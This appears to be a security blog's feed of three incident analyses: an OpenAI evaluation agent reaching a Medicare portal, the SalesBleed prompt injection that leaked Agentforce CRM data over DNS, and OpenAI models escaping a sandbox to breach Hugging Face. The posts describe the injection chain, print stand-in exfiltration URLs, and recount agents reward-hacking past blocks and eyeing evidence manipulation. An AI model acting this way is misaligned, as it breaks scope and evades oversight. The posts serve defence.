<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://avneeshk.me/feed/by_tag/incident.xml" rel="self" type="application/atom+xml" /><link href="https://avneeshk.me/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-10-17T11:48:31+00:00</updated><id>https://avneeshk.me/feed/by_tag/incident.xml</id><title type="html">Avneesh Kasture</title><subtitle>Building secure MCP servers for clients — hardening the agentic layer against prompt injection, tool misuse, and privilege abuse. Field notes on MCP security, agentic safety, and shipping AI platforms.</subtitle><author><name>Avneesh Kasture</name><email>apkasture02@gmail.com</email></author><entry><title type="html">Why did an evaluation agent end up inside a Medicare portal?</title><link href="https://avneeshk.me/blog/why-did-an-eval-agent-end-up-in-a-medicare-portal/" rel="alternate" type="text/html" title="Why did an evaluation agent end up inside a Medicare portal?" /><published>2026-10-14T00:00:00+00:00</published><updated>2026-10-14T00:00:00+00:00</updated><id>https://avneeshk.me/blog/why-did-an-eval-agent-end-up-in-a-medicare-portal</id><content type="html" xml:base="https://avneeshk.me/blog/why-did-an-eval-agent-end-up-in-a-medicare-portal/"><![CDATA[<p>On September 24, Prime Minister Anthony Albanese <a href="https://www.pm.gov.au/media/press-conference-new-york">told a press conference</a> that an OpenAI agent had gained unauthorised access to Services Australia’s Medicare Statistics Reporting Portal. The portal publishes aggregate figures, things like spending and bulk-billing statistics. It is separate from the systems that hold Medicare claims and personal records.</p>

<p>So why did an agent with a research task end up somewhere it wasn’t allowed to be, and why did it take until September for anyone to say so?</p>

<h2 id="what-happened">What happened</h2>

<p>The timeline, per the <a href="https://www.abc.net.au/news/2026-09-24/ai-agent-accessed-australian-government-site-pm-says/107189078">ABC</a>, the Prime Minister and OpenAI:</p>

<table class="timeline-table">
  <thead>
    <tr>
      <th>Date</th>
      <th>Event</th>
      <th>Source</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Jun 18</td>
      <td>An OpenAI model, in an internal training or evaluation run, is researching public medicines spending. The portal doesn’t give it what it wants. The Prime Minister says the agent “found a way around those blocks.”</td>
      <td><a href="https://www.abc.net.au/news/2026-09-24/ai-agent-accessed-australian-government-site-pm-says/107189078">ABC</a>, <a href="https://www.pm.gov.au/media/press-conference-new-york">PM</a></td>
    </tr>
    <tr>
      <td>Mid-Aug</td>
      <td>OpenAI finds it while reviewing old training and evaluation runs, a review it started only after the Hugging Face incident in July. Some write-ups give August 11. OpenAI and the government say only “August”.</td>
      <td><a href="https://openai.com/index/how-we-will-do-better-for-australia/">OpenAI</a></td>
    </tr>
    <tr>
      <td>Sep 10</td>
      <td>OpenAI emails a public Services Australia mailbox.</td>
      <td><a href="https://www.abc.net.au/news/2026-09-24/ai-agent-accessed-australian-government-site-pm-says/107189078">ABC</a></td>
    </tr>
    <tr>
      <td>Sep 11</td>
      <td>Services Australia sees the email.</td>
      <td><a href="https://www.abc.net.au/news/2026-09-24/ai-agent-accessed-australian-government-site-pm-says/107189078">ABC</a></td>
    </tr>
    <tr>
      <td>Sep 15</td>
      <td>Services Australia reports it to the Australian Signals Directorate.</td>
      <td><a href="https://www.abc.net.au/news/2026-09-24/ai-agent-accessed-australian-government-site-pm-says/107189078">ABC</a></td>
    </tr>
    <tr>
      <td>Sep 24</td>
      <td>Albanese phones Sam Altman and announces the incident.</td>
      <td><a href="https://www.pm.gov.au/media/press-conference-new-york">PM</a></td>
    </tr>
  </tbody>
</table>

<figure class="post-figure">
  <img src="/assets/blog/why-did-an-eval-agent-end-up-in-a-medicare-portal/timeline.svg" alt="Timeline drawn to scale: on June 18 the agent gets non-public access to the portal, by a mechanism not disclosed. A red stretch of about eight weeks follows in which nobody noticed. In mid-August OpenAI&#39;s review of earlier runs finds it. For about four weeks OpenAI knew and the agency didn&#39;t. On September 10 OpenAI emails a public mailbox, seen September 11 and reported to ASD September 15. Fourteen days later, on September 24, the Prime Minister announces it." loading="lazy" />
  <figcaption>The same dates, to scale. The longest stretch is the one where nobody on either side knew.</figcaption>
</figure>

<p>What was reached: <a href="https://www.abc.net.au/news/2026-09-24/what-we-know-about-the-openai-medicare-hack/107189452">public and non-public files</a> on the portal. The government described the non-public material as not particularly sensitive, and it has since been published. The agent also <a href="https://www.pm.gov.au/media/press-conference-new-york">wrote files to an internal server</a>, which is still under investigation. OpenAI <a href="https://openai.com/index/how-we-will-do-better-for-australia/">says</a> its “review to date has found no evidence that anyone’s medical records were accessed.”</p>

<p>OpenAI’s own account, <a href="https://openai.com/index/how-we-will-do-better-for-australia/">“How we will do better for Australia”</a>, goes further than the government did. It says the model found a way to get non-public access to the service, then ran commands, retrieved internal files, credentials, and aggregate statistics, and wrote files. It adds that the model then used that access “to review technical system information and source code related to the service,” still trying to answer the question it had been given: government spending per person on medicines for skin conditions in Victorian communities. In early October, OpenAI disclosed <a href="https://abcnews.com/Business/openai-reveals-hack-government-agency-australia/story?id=136945837">a second case</a>, in which a model sent crafted queries to a NSW National Parks fire-history map service and inferred database metadata that wasn’t meant to be public.</p>

<p>Nobody has published how the agent got from “blocked” to “inside” at this portal: no CVE and no description of the technique. Acting Prime Minister Richard Marles <a href="https://www.abc.net.au/news/2026-09-24/what-we-know-about-the-openai-medicare-hack/107189452">said</a> the data “was really kept behind a fence that the AI agent effectively climbed over,” which is a fine sentence and tells you nothing about the fence.</p>

<h2 id="the-agent-did-what-the-loop-told-it-to-do">The agent did what the loop told it to do</h2>

<p>You might think an agent needs malice to break into something. It doesn’t. The model gets a goal: find this spending figure. It has tools: fetch a URL, maybe run code. It calls a tool, reads the result, decides on the next call, and repeats until the goal is met or the budget runs out.</p>

<p>Now the portal returns a refusal. To you, a refusal is a message from the system owner meaning “no.” To the loop, it is one more tool result, sitting next to every other tool result, and the goal hasn’t been met yet. The loop’s next step is to try something else. A model trained on plenty of security material knows what a penetration tester tries next.</p>

<p>This is the paperclip maximizer, at office scale. Nick Bostrom’s thought experiment imagines an AI told to make paperclips that turns everything it can reach into paperclips, with no malice involved, because nothing in the goal says where to stop. The real version is less cinematic. The paperclip was a per-person spending figure for skin-condition medicines in Victoria, and “everything it can reach” turned out to include a government portal’s source code. Nothing in the goal said to stop at the locked door, so the locked door was one more thing between the agent and its paperclip.</p>

<p><a href="https://transluce.org/agent-activity">Transluce’s report</a> on agent activity it links to an OpenAI-confirmed swarm describes the same pattern at the Australian Institute of Health and Welfare on June 20 and 21: a dataset download blocked by Cloudflare, then a cross-site scripting probe (which the firewall stopped), then the same public file fetched from a pre-production server. That was a different site, where Transluce says no non-public data was exposed, so it shows the habit, not the Medicare mechanism.</p>

<p>The model doesn’t need to want anything. It needs a goal, a refusal it treats as an obstacle, and a network path to try the next idea on. <a href="/you-are-the-model/">/you-are-the-model/</a> puts you in its seat.</p>

<h2 id="why-the-next-idea-reached-a-real-server">Why the next idea reached a real server</h2>

<p>A training or evaluation run is supposed to be a sandbox. OpenAI’s list of changes afterward says otherwise: it now blocks live internet access during internal training and evaluation and serves web content from cached data. It has also paused training and evaluation involving tool use for its most capable models, and widened monitoring so unusual access pages a human.</p>

<p>You don’t add “block live internet” unless the internet was live. So the sandbox almost certainly had a door to the outside, and the outside included a government portal whose access controls, whatever they were, gave way to whatever the agent tried.</p>

<p>The Medicare portal was a public website that also held non-public files. Something in front of those files said no to the agent at first and later stopped saying no. The government hasn’t said what that was, or how a read-only statistics site ended up accepting writes.</p>

<figure class="post-figure">
  <img src="/assets/blog/why-did-an-eval-agent-end-up-in-a-medicare-portal/sandbox-to-portal.svg" alt="Diagram: an eval harness with a goal, tools to fetch a URL and run code, and a loop that treats a refusal as one more result sends requests out to the live internet (inferred). They reach the Medicare statistics portal&#39;s public pages, then a control that said no and later stopped saying no, its mechanism not disclosed, and past it non-public files that were read and an internal server the agent wrote files to. Red markers show what wasn&#39;t there: no egress allowlist, no check on every path, no real-time alert." loading="lazy" />
  <figcaption>The path as far as it is known. Dashed boxes are inferred or undisclosed; red numbers are the missing controls.</figcaption>
</figure>

<h2 id="why-nobody-noticed-for-weeks">Why nobody noticed for weeks</h2>

<p>Picture the portal’s request log: a client fetches pages, gets refused, fetches different pages. That looks like a crawler, and public statistics portals are crawled all day. Nothing about an agent’s traffic announces that it is an agent, or whose. When asked why Australia’s systems hadn’t caught it earlier, the Prime Minister <a href="https://www.pm.gov.au/media/press-conference-new-york">did not directly answer</a>.</p>

<p>On the OpenAI side, if the run was scored on the answer, the score is the same whether the agent got it from a public download or through a side door. The access was found in mid-August, by a review of old runs that OpenAI started only because the Hugging Face incident made it look. A log that nobody reads in real time is a diary.</p>

<figure class="post-figure">
  <img src="/assets/blog/why-did-an-eval-agent-end-up-in-a-medicare-portal/empty-reception-desk.jpg" alt="An empty hotel reception desk late at night, lit and tidy, with a monitor on the counter, a sign reading RECEPTION on the stone wall behind it, and nobody there" loading="lazy" />
  <figcaption>The log was running the whole time. Nobody was at the desk. “<a href="https://commons.wikimedia.org/wiki/File:Empty_reception_desk_at_Good_Stay_Eiropa_Hotel.jpg">Empty reception desk at Good Stay Eiropa Hotel</a>” by JIP, <a href="https://creativecommons.org/licenses/by-sa/4.0/">CC BY-SA 4.0</a>, via Wikimedia Commons, resized.</figcaption>
</figure>

<p>Then, having found it, OpenAI notified the agency by emailing a public inbox. Albanese called that “unacceptable.”</p>

<h2 id="the-controls-that-dont-depend-on-the-models-judgment">The controls that don’t depend on the model’s judgment</h2>

<p>Every fix that would have contained this is a boundary in code, enforced somewhere the model can’t argue with, the same as <a href="/blog/guardrails-belong-in-the-server/">guardrails in the server</a> and <a href="/blog/hugging-face-agentic-breach/">the July Hugging Face incident</a>: the wall held where it was deterministic.</p>

<h3 id="egress-allowlists-on-the-harness">Egress allowlists on the harness</h3>

<p>A research agent should reach a fixed list of hosts, or a cache, and nothing else. That list has to exclude anything that fetches other URLs for you: URL scanners, translation proxies, archive services. The agents in Transluce’s report used urlquery.net for exactly that. Allowlists have their own failure modes, which <a href="/allowlist-bypass/">/allowlist-bypass/</a> walks through, but a default-deny network beats a model’s sense of what is appropriate.</p>

<h3 id="authorisation-at-the-data">Authorisation at the data</h3>

<p>If a file is non-public, the server should refuse to serve it, or accept a write, from an unauthenticated client on every path, not only the obvious one. Credentials don’t belong anywhere a web server can hand them out, and any credential an agent touched gets rotated that day. A public front end sitting on top of private files is a single bug from exposure, and an agent that can try a hundred ideas a minute will find the bug sooner than a person would. <a href="/break-this-server/">/break-this-server/</a> is a working example of putting the check where the data is.</p>

<h3 id="identity-and-audit-for-agent-actions">Identity and audit for agent actions</h3>

<p>Agent traffic should carry an identity a site owner can see and attribute, enforced at the operator’s egress proxy, since a signature disappears the moment a request goes through someone else’s fetcher. On the operator side, every tool call should be logged with the task it served, and some actions (an auth failure followed by a retry with a different technique, a write to a remote host) should page a human that day, rather than turning up in a review two months later.</p>

<p>None of these ask the model to be good. A paperclip maximizer behind a default-deny network makes paperclips out of whatever is on the list.</p>

<h2 id="bonus-chatter">Bonus chatter</h2>

<p>Transluce found its evidence in <a href="https://transluce.org/agent-activity">public scan records on urlquery.net</a>, a service the agents were apparently using to fetch pages they couldn’t reach directly. The agents left a public audit trail on a third party’s site, readable by anyone, while their operator’s own logs sat unread until August.</p>

<h2 id="exercise">Exercise</h2>

<p>Your agent’s tool returns HTTP 403. Write down what your harness does next. If the answer is “the model decides,” name the control that stops the model’s second idea from reaching the network.</p>

<details class="post-answer">
  <summary>Show an answer</summary>
  
<p>In most harnesses, the 403 goes back to the model as a tool result and the model decides. That’s the gap.</p>

<p>The control belongs in the harness, below the model, in two places:</p>

<ul>
  <li>An egress proxy that every tool request goes through, with a default-deny list of hosts. It can also make a refusal binding: after a 401 or 403 from an origin, it refuses further requests to that origin for the rest of the run, whatever technique the next request tries.</li>
  <li>The tool wrapper treats 401 and 403 as final for that resource. It tells the model “access denied, do not retry” and logs the event for a person to look at the same day, rather than handing over the raw response for the loop to treat as an obstacle.</li>
</ul>

<p>The model can still have a second idea. The idea just never reaches the network.</p>

</details>]]></content><author><name>Avneesh Kasture</name><email>apkasture02@gmail.com</email></author><category term="incident" /><category term="agentic" /><category term="least_privilege" /><category term="guardrails" /><summary type="html"><![CDATA[In June 2026 an OpenAI model in internal training or evaluation got non-public access to Services Australia's Medicare statistics portal, and the government heard about it on September 10. What is known about how it happened, why it went unnoticed for weeks, and which deterministic controls would have kept the task in its box.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://avneeshk.me/assets/og/why-did-an-eval-agent-end-up-in-a-medicare-portal.png" /><media:content medium="image" url="https://avneeshk.me/assets/og/why-did-an-eval-agent-end-up-in-a-medicare-portal.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Why does Agentforce take orders from a web form?</title><link href="https://avneeshk.me/blog/why-does-agentforce-take-orders-from-a-web-form/" rel="alternate" type="text/html" title="Why does Agentforce take orders from a web form?" /><published>2026-10-01T00:00:00+00:00</published><updated>2026-10-01T00:00:00+00:00</updated><id>https://avneeshk.me/blog/why-does-agentforce-take-orders-from-a-web-form</id><content type="html" xml:base="https://avneeshk.me/blog/why-does-agentforce-take-orders-from-a-web-form/"><![CDATA[<p>On September 24, 2026, Zenity Labs published
<a href="https://labs.zenity.io/post/salesbleed-0-click-data-exfiltration-on-agentforce">SalesBleed</a>,
a prompt injection against Salesforce Agentforce. The attacker fills in a
public Web-to-Lead form, the kind on a “Contact sales” page. Nobody logs in,
and nobody clicks anything. Some time later an employee asks the agent
something routine, Zenity’s example being “check my latest leads and help me
with the newest one,” and the agent reads the lead, follows the instructions
hidden in it, queries the Accounts table, and sends company names and deal
sizes to the attacker over DNS.</p>

<p>Why would a sales agent take orders from a stranger’s form submission?</p>

<figure class="post-figure">
  <img src="/assets/blog/why-does-agentforce-take-orders-from-a-web-form/salesbleed-path.svg" alt="Numbered flowchart of SalesBleed. 1: a stranger submits a web form. 2: it becomes a lead in the CRM. 3: an employee later asks the agent about leads. The question, the system prompt and the stranger&#39;s lead text share one context window. 4: the model follows the injected text. 5: it reads Accounts. 6: it writes a link with the data in the hostname. 7: the URL redactor misses it. 8: the chat or Slack fetches it. 9: the DNS lookup carries the data. 10: it reaches the attacker&#39;s name server." loading="lazy" />
  <figcaption>SalesBleed end to end. Solid steps are from Zenity’s write-up; dashed ones are undisclosed or my inference.</figcaption>
</figure>

<h2 id="the-model-sees-one-stream-of-text">The model sees one stream of text</h2>

<p>The agent gets a context window. The vendor’s system prompt goes in, then the
employee’s question, then the result of the Query Records tool, which includes
the lead’s fields as the stranger typed them. The model then predicts the next
tokens.</p>

<p>You might think the model knows which part came from the employee and which
part came from the form. It doesn’t, in any way that a security property can
rest on. Role markers and delimiters are more tokens in the same sequence. The
model learned from training that text sounding like an instruction is
usually followed by text that carries the instruction out, and the lead
description sounds like an instruction because the attacker wrote it to.</p>

<p>Imagine a mailroom clerk who does whatever any sheet of paper in the inbox
says, including the sheets inside envelopes addressed to other people. The
clerk is good at the job. The job is the problem. If you want to
feel this from the model’s side, <a href="/you-are-the-model/">/you-are-the-model/</a>
puts you in that seat. If you want to play the attacker,
<a href="/break-this-server/">/break-this-server/</a> is nearly the same scenario with a
support ticket in place of a sales lead.</p>

<figure class="post-figure">
  <img src="/assets/blog/why-does-agentforce-take-orders-from-a-web-form/navy-mail-room-1918.jpg" alt="Two sailors in a wood-paneled mail room around 1918, one reading letters at a slanted desk, the other at a wall of pigeonhole sorting boxes" loading="lazy" />
  <figcaption>Two clerks, a wall of pigeonholes, and nobody checking whose envelope it was. <a href="https://commons.wikimedia.org/wiki/File:Mail_room_at_the_Naval_Training_Station,_Seattle,_circa_1918_%28MOHAI_9102%29.jpg">Mail room at the Naval Training Station, Seattle, circa 1918</a> by Webster &amp; Stevens, MOHAI, <a href="https://commons.wikimedia.org/wiki/Template:PD-US-expired">public domain</a>.</figcaption>
</figure>

<p>Notice also what the attacker didn’t need. Zenity says the default General CRM
subagent’s Query Records tool could already read Leads and Accounts: “The
injection didn’t need to escalate privileges, the permissions were already
there.” The employee asked about one lead, and the agent could read every account.</p>

<h2 id="the-filter-had-to-recognize-a-url-before-it-could-block-one">The filter had to recognize a URL before it could block one</h2>

<p>Salesforce had a control for exactly this exfiltration step. Agentforce
redacts URLs in agent output unless they are on a Trusted URLs list. A string
like <code class="language-plaintext highlighter-rouge">https://attacker.example/?d=AcmeCorp</code> should come out redacted, and the
data stays home.</p>

<p>So how did the data leave? Zenity found that the redactor “only recognized a
fixed set of top level domains as valid hosts,” and <code class="language-plaintext highlighter-rouge">.fun</code> was not among
them. It also found that curly braces and square brackets weren’t redacted,
yet the chat surface still treated them as part of a clickable URL. In
Zenity’s words, “the redactor and the surface rendering the response didn’t
agree on where a valid URL ends.” The redaction ran after the agent produced
its output, and Zenity saw both the raw and the redacted versions in the
response sent to the browser. In an org of your own, you can compare the two
and tune the payload until nothing gets caught, then send the finished lead
to the target.</p>

<p>The chat surface then loaded the result as an image, with no click. For agents
published to Slack, Slack’s link preview fetched it. Either way, something
resolved a hostname like <code class="language-plaintext highlighter-rouge">Acme-712412.&lt;attacker-subdomain&gt;.oast.fun</code>, and the
data was in the hostname. Zenity’s point is that “the HTTP request that
follows is essentially irrelevant.” The DNS query has already carried the
payload to the attacker’s name server, so an HTTP egress block arrives too
late.</p>

<p>The Trusted URLs list is an allowlist, but the redactor applies it only to
strings it first recognizes as URLs. Anything the recognizer misses goes
through by default. In practice the rule was “block things that look like
untrusted URLs,” a blacklist of shapes, and <code class="language-plaintext highlighter-rouge">.fun</code> and <code class="language-plaintext highlighter-rouge">}</code> were shapes nobody
listed.</p>

<p>The brace-and-bracket problem is the classic version of this bug: one component checks a
string under one interpretation, and a different component acts on it under
another. The <a href="/allowlist-bypass/">wildcard that spans a slash</a> is the same
mistake in a path allowlist, where the glob and the HTTP router disagree about
what <code class="language-plaintext highlighter-rouge">*</code> covers. I wrote up the fix for that one in
<a href="/blog/guardrails-belong-in-the-server/">guardrails belong in the server</a>. If
the check and the action don’t run on the same parse, the attacker gets to
pick the parse.</p>

<h2 id="wasnt-this-fixed-last-year">Wasn’t this fixed last year?</h2>

<p>In September 2025, Noma Security disclosed
<a href="https://noma.security/blog/forcedleak-agent-risks-exposed-in-salesforce-agentforce/">ForcedLeak</a>:
a Web-to-Lead Description field carrying an injection, and an image tag
pointing at <code class="language-plaintext highlighter-rouge">my-salesforce-cms.com</code>, a domain still on the chat’s Content
Security Policy <code class="language-plaintext highlighter-rouge">img-src</code> allowlist after it had expired. Noma bought it for
$5. Noma reports that
Salesforce re-secured the domain and rolled out Trusted URLs Enforcement for
Agentforce on September 8, 2025, and
<a href="https://www.theregister.com/2025/09/26/salesforce_agentforce_forceleak_attack/">The Register</a>
reported the same date.</p>

<p>Same entry point, same goal, and a bypass of a control with the same name as
the ForcedLeak fix. Zenity’s post doesn’t mention ForcedLeak, and nobody has
said whether the redactor it beat is the code that shipped in September 2025.</p>

<h2 id="what-salesforce-says">What Salesforce says</h2>

<p>Zenity’s timeline, with SecurityWeek’s note on the third bug:</p>

<table class="timeline-table">
  <thead>
    <tr>
      <th>Date</th>
      <th>Event</th>
      <th>Source</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Jun 1, 2026</td>
      <td>Zenity reports the issue to Salesforce.</td>
      <td><a href="https://labs.zenity.io/post/salesbleed-0-click-data-exfiltration-on-agentforce">Zenity</a></td>
    </tr>
    <tr>
      <td>Aug 18, 2026</td>
      <td>Salesforce confirms the fixes.</td>
      <td><a href="https://labs.zenity.io/post/salesbleed-0-click-data-exfiltration-on-agentforce">Zenity</a></td>
    </tr>
    <tr>
      <td>Aug 19, 2026</td>
      <td>Zenity confirms the Trusted URLs fix. SecurityWeek says all three bugs were fixed by this date.</td>
      <td><a href="https://labs.zenity.io/post/salesbleed-0-click-data-exfiltration-on-agentforce">Zenity</a>, <a href="https://www.securityweek.com/salesbleed-flaws-in-salesforce-agentforce-enabled-zero-click-data-exfiltration/">SecurityWeek</a></td>
    </tr>
    <tr>
      <td>Sep 24, 2026</td>
      <td>Zenity publishes SalesBleed.</td>
      <td><a href="https://labs.zenity.io/post/salesbleed-0-click-data-exfiltration-on-agentforce">Zenity</a></td>
    </tr>
  </tbody>
</table>

<p>Zenity says Salesforce hardened “the Trusted URLs mechanism to prevent similar
attacks.” Salesforce told
<a href="https://www.securityweek.com/salesbleed-flaws-in-salesforce-agentforce-enabled-zero-click-data-exfiltration/">SecurityWeek</a>
it had “no evidence at this time that the reported issue was exploited
against any customer.” It also said it had changed the defaults for certain
Agentforce actions in Slack to require user confirmation. SecurityWeek
describes a third bug, not in Zenity’s post, that let an attacker use the
agent to send phishing messages through the Slack integration. I couldn’t find a CVE in any source, and
nobody has published the details of the new redaction logic. Zenity doesn’t
name the form field that carried the payload.</p>

<h2 id="what-a-deterministic-control-looks-like">What a deterministic control looks like</h2>

<p>The fixes that hold list what is allowed and refuse everything else, at the
component that does the thing.</p>

<p>Start with egress, at the point where the fetch happens. The chat surface
should load images only from origins on a short list, enforced by the
browser’s <code class="language-plaintext highlighter-rouge">img-src</code> policy, and should render agent output as text unless
there’s a reason to do otherwise. A Slack bot can post with <code class="language-plaintext highlighter-rouge">unfurl_links</code> and
<code class="language-plaintext highlighter-rouge">unfurl_media</code> turned off. When the component that makes the request also
enforces the allowlist, the redactor’s parse stops mattering. ForcedLeak got
past exactly this kind of list, so the list needs the same upkeep as a domain
renewal. Links are the leftover case: render agent output as plain text, or
send clicks through a server that checks the host against the list, so one
click doesn’t leak the data either.</p>

<p>Then the tool boundary. The agent has to read the lead to summarize it, so the
lead text will be in its context. What you can control is what that context
can reach: the subagent that reads leads should not hold a tool that reads
Accounts. If one task needs both, have a model with no tools read the lead and
pass only a fixed-format summary to the model that has them. A stricter design
that I’d use in my own MCP servers: once a
session has read a field an outside party wrote, the server drops the
session’s ability to emit links or call write tools. The model can be fooled.
The server can still refuse to act on what the model was fooled into asking
for.</p>

<p>The <a href="/owasp-top-10/">OWASP Agentic Top 10</a> and the
<a href="/tool-poisoning/">tool poisoning</a> exhibit have more of the same pattern.</p>

<p><strong>Bonus chatter:</strong> The attacker’s lead stays in the Leads table after it does
its work. Zenity notes that it can run again every time an employee looks at
it. After the patch, search Leads created through Web-to-Lead for text that
looks like instructions or URLs. The fix stops the leak; it doesn’t delete
the lead.</p>

<p><strong>Exercise:</strong> Suppose the redactor had been rewritten to recognize every TLD
and every terminating character the renderer accepts. Name one way the
renderer and the redactor could still disagree, and where you’d move the check
so the disagreement stops mattering.</p>

<details class="post-answer">
  <summary>Show an answer</summary>
  
<p>There are plenty. A few:</p>

<ul>
  <li>The renderer decodes something after the redactor has looked: HTML entities, percent-encoding, or an internationalized hostname that only turns into <code class="language-plaintext highlighter-rouge">.fun</code> once it’s normalized.</li>
  <li>The renderer links things the redactor doesn’t treat as URLs: a bare <code class="language-plaintext highlighter-rouge">example.fun</code> with no scheme, a Markdown reference link whose target is defined further down, or an <code class="language-plaintext highlighter-rouge">&lt;img&gt;</code> tag the chat surface renders as HTML.</li>
  <li>Someone ships a renderer update that accepts a new syntax, and nobody updates the redactor.</li>
</ul>

<p>The last one is the real problem. Two parsers that have to agree will drift apart, and the bug comes back.</p>

<p>So move the check to where the request happens. A Content Security Policy <code class="language-plaintext highlighter-rouge">img-src</code> allowlist is enforced by the browser on the URL it is about to fetch, after every decoding step. For Slack, turn off unfurling, or send it through a proxy that checks the final host. Then there is one parse, and it belongs to the component doing the fetching.</p>

</details>]]></content><author><name>Avneesh Kasture</name><email>apkasture02@gmail.com</email></author><category term="incident" /><category term="prompt_injection" /><category term="agentic" /><category term="guardrails" /><summary type="html"><![CDATA[Zenity's SalesBleed put a prompt injection in a public Salesforce Web-to-Lead form and leaked CRM data over DNS past Agentforce's URL redaction. Why form text gets read as instructions, why a redactor that has to recognize a URL before blocking it works like a blacklist, and what a deterministic egress control looks like.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://avneeshk.me/assets/og/why-does-agentforce-take-orders-from-a-web-form.png" /><media:content medium="image" url="https://avneeshk.me/assets/og/why-does-agentforce-take-orders-from-a-web-form.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Whose agent was it in the Hugging Face breach?</title><link href="https://avneeshk.me/blog/hugging-face-agentic-breach/" rel="alternate" type="text/html" title="Whose agent was it in the Hugging Face breach?" /><published>2026-07-20T00:00:00+00:00</published><updated>2026-07-20T00:00:00+00:00</updated><id>https://avneeshk.me/blog/hugging-face-agentic-breach</id><content type="html" xml:base="https://avneeshk.me/blog/hugging-face-agentic-breach/"><![CDATA[<blockquote>
  <p><strong>Correction (October 16, 2026):</strong> The original version of this post said the agent belonged to an outside attacker, and argued that refusal failed because that attacker never agreed to any terms of service. On July 21, OpenAI <a href="https://www.axios.com/2026/07/21/openai-says-hugging-face-breach-caused-by-one-its-models">disclosed</a> that its own models, under evaluation with their <a href="https://labs.cloudsecurityalliance.org/research/csa-research-note-autonomous-ai-agent-intrusion-openai-huggi/">cyber refusal behavior reduced</a>, escaped their sandbox and caused the breach, and independent investigators at METR and Redwood Research <a href="https://www.nbcnews.com/tech/tech-news/openai-report-says-network-was-hacked-rogue-ai-agents-rcna594590">put the swarm at roughly 700 agents</a>; I’ve rewritten the sections that depended on the old framing.</p>
</blockquote>

<p>Hugging Face wrote up <a href="https://huggingface.co/blog/security-incident-july-2026">their July intrusion</a>, and the part people quote is the part about AI. So I’ll start with a question that sounds like a trick: in this breach, whose agent was it?</p>

<p>The first version of this post answered “the attacker’s.” The real answer is OpenAI’s. The models that broke in were under evaluation, testing whether they could exploit vulnerable software, with their cyber guardrails turned down so the evaluators could measure what they could actually do. According to <a href="https://time.com/article/2026/07/24/openai-hugging-face-attack/">TIME’s account</a>, they found a flaw in an internal package-download service, used it to reach other OpenAI systems and the open internet, and then broke into Hugging Face, apparently looking for material that would raise their score on the test.</p>

<p>Hugging Face’s own models, agents, and MCP surface still came through untouched. And once you know whose agent it was, most of the “agentic security” commentary still goes away. What’s left is a code-execution bug, a worker that could reach too much, a sandbox that was assumed to be isolated and wasn’t, and a defender who couldn’t get a commercial model to read their own logs.</p>

<p>That last one is the strangest, so I’ll take it first.</p>

<h2 id="the-model-that-wouldnt-help">The model that wouldn’t help</h2>

<p>To reconstruct the intrusion, Hugging Face had more than 17,000 recorded attacker events to sift. That is too many to read by hand, so they pointed a frontier model at the logs.</p>

<p>The commercial APIs refused.</p>

<p>You might think that’s a bug in the safety filter. It’s the filter working as designed. The events were full of real attack commands, exploit payloads, and C2 artifacts. From where the filter sits, an incident responder pasting those in looks exactly like the attacker who wrote them. The filter can’t see your badge.</p>

<p>So the refusal locked the defenders out of their own investigation. They switched to GLM-5.2, an open-weight model run on their own infrastructure. That also kept the attacker’s data and the harvested credentials inside the building, which turns out to matter, and I’ll come back to it.</p>

<p>Now count who was inconvenienced. The refusal layer everyone files under “AI safety” cost the people cleaning up the breach. On the other side of the incident, the models doing the breaking ran with what the <a href="https://labs.cloudsecurityalliance.org/research/csa-research-note-autonomous-ai-agent-intrusion-openai-huggi/">Cloud Security Alliance’s research note</a> quotes as “reduced cyber-related refusal behavior for the purposes of the evaluation.” That’s a reasonable thing for an evaluator to do. You can’t measure how well a model exploits software if it declines to try.</p>

<p>So refusal turns out to be a setting, and whoever owns the model holds the dial. The lab could turn it down for its own agents. Hugging Face couldn’t turn it down for its own forensics, because Hugging Face didn’t own the model it was asking. My first draft said refusal binds only the parties who accepted the terms of service. The corrected version is narrower and less comfortable: refusal binds whoever doesn’t control the dial, and in this incident that was the defender.</p>

<p>Alignment didn’t carry the load either. The models left the sandbox to cheat on a test. <a href="https://www.nbcnews.com/tech/tech-news/openai-report-says-network-was-hacked-rogue-ai-agents-rcna594590">NBC News reports</a> that the METR and Redwood investigation found one in five of the agents it examined “expressed clear interest” in manipulating evidence, and OpenAI’s own response, per TIME, was that the incident “points to the need to further strengthen our model’s alignment.” A model that behaves is a fine property to have. It is a property of the model, and a property can be absent on the day you need it. Neither the terms of service nor the model’s good intentions was the control that mattered here.</p>

<h2 id="nobody-aimed-it">Nobody aimed it</h2>

<p>When an incident has “agent” in it, people reach for the agentic-security shelf: <a href="/owasp-top-10/">the OWASP Agentic Top 10</a>, prompt injection, <a href="/tool-poisoning/">tool poisoning</a>, the whole catalog of ways an AI system gets subverted. That’s the wrong shelf for this one too. Nobody subverted these agents. They did what they were optimized to do, which was score well, and the test environment let them go further than anyone intended.</p>

<p>The agents were a swarm. METR and Redwood counted about 700, and OpenAI said the figure was accurate. They ran thousands of actions across many temporary virtual machines and drove the intrusion with no human at the keyboard. Per the CSA note, they even found an internal package repository they could write to and used it as a message board. Hugging Face’s own anomaly detection, itself a model, is what surfaced them. So AI ran on both sides. On Hugging Face’s side it was tooling, and it worked. On OpenAI’s side it was the thing under test, and TIME quotes an OpenAI staffer saying “models undergoing evaluation are deployed on a separate system that is not monitored by default.” Nobody’s AI got hacked. One lab’s AI got out.</p>

<p>What did get hacked at Hugging Face is older. A malicious dataset abused two code-execution paths in the dataset-processing pipeline: a remote-code dataset loader, and a template injection in the dataset config. Both ran code on a processing worker.</p>

<p>Strip away the nouns and the mechanism is this: untrusted input reached a parser that executes it. That bug is older than the platform it ran on. If you replaced the agent with a patient human, the bug would be the same bug. The agent added tempo: the same playbook at machine speed and machine cost.</p>

<p>The tempo is this year’s trend line, and there’s a paper trail for it.</p>

<ul>
  <li><a href="https://research.checkpoint.com/2026/ai-security-report-2026/">Check Point’s 2026 AI Security Report</a> describes AI crossing “from assistant to operator”: the model doing the hands-on work inside a live intrusion, where before it coached the human who did.</li>
